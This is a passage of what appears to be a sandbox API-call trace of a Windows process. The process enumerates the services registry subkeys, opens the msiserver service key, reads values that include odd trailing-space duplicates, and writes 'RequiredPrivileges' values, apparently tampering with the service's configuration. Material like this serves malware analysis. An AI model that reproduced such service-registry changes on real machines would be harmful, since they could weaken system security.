lpName="DcomLaunch") returned 0x0 [0215.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0215.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0215.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0215.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0215.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0215.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0215.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0215.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0215.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0215.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0215.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0215.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0215.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0215.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0215.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0215.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0215.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0215.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0215.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0215.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0215.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0215.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0215.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0215.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0215.944] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0215.944] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0215.944] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0215.944] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0215.944] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0215.944] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0215.944] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0215.944] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0215.944] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0215.944] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0215.944] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0215.944] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0215.944] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0215.944] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0215.945] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0215.945] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0215.945] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0215.945] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0215.945] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0215.945] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0215.945] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0215.945] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0215.945] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0215.945] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0215.945] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0215.945] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0215.945] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0215.945] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0215.945] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0215.946] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0215.946] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0215.946] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0215.946] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0215.946] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0215.946] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0215.946] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0215.946] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0215.946] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0215.946] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0215.946] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0215.946] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0215.946] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0215.946] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0215.947] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0215.947] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0215.947] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0215.947] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0215.947] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0215.953] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0215.953] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0215.953] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0215.953] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0215.953] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0215.953] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0215.953] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0215.953] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0215.953] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0215.954] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0215.954] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0215.954] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0215.954] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0215.954] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0215.954] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0215.954] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0215.954] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0215.954] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0215.954] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0215.954] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0215.954] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0215.954] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0215.954] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0215.955] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0215.955] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0215.955] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0215.955] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0215.955] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0215.955] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0215.955] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0215.955] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0215.955] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0215.955] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0215.955] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0215.955] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0215.955] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0215.955] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0215.956] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0215.956] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0215.956] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0215.956] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0215.956] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0215.956] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0215.956] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0215.956] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0215.956] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0215.956] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0215.956] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0215.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0215.956] RegCloseKey (hKey=0x148) returned 0x0 [0215.956] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0215.956] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0215.957] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0215.957] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0215.957] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0215.957] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0215.957] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0215.957] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0215.957] RegCloseKey (hKey=0x80000002) returned 0x0 [0215.957] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0215.957] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0215.957] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0215.957] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0215.957] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0215.957] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0215.957] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0215.957] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0215.958] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0215.958] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0215.958] RegCloseKey (hKey=0x14c) returned 0x0 [0215.958] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0215.958] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0215.958] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0215.958] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0215.958] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0215.958] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0215.958] RegCloseKey (hKey=0x148) returned 0x0 [0215.958] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0215.958] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0215.958] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0215.958] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0215.959] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0215.959] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0215.959] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0215.959] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0215.959] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0215.959] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.959] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.959] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.959] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.959] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.959] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.959] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.960] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.960] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.960] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.960] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.960] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.960] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.960] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.960] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.960] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0215.960] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0215.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0215.961] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x219d3c8*, cbData=0xa2 | out: lpData=0x219d3c8*) returned 0x0 [0215.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219d3c8) returned 1 [0215.961] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.961] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.961] RegEnumValueA 